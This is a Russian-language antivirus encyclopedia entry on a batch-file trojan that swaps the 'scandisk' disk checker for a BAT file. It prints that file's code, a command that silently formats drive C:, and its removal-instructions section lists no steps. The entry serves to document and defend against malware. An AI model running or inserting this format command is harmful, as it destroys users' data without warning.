Класс | Trojan |
Платформа | BAT |
Описание |
Technical DetailsТроянская программа, выполняющая деструктивные действия на компьютере пользователя. Является пакетным файлом командного интерпретатора (BAT-файл). Имеет размер 246 байт. PayloadПосле запуска троянец удаляет следующий файл: C:windowscommandscandisk.exe
И подменяет его файлом: C:windowscommandscandisk.bat
который содержит следующий код: @echo off
break off
format c: /autotest /q /u
Это приводит к тому, что после вызова программы проверки дисков «scandisk» будет выполнена попытка форматирования диска «C:» без вывода предупреждений на консоль пользователя. Removal instructionsЕсли ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой (при этом программа еще не осуществила свой деструктивный функционал), то для её удаления необходимо выполнить следующие действия:
|
Узнай статистику распространения угроз в твоем регионе |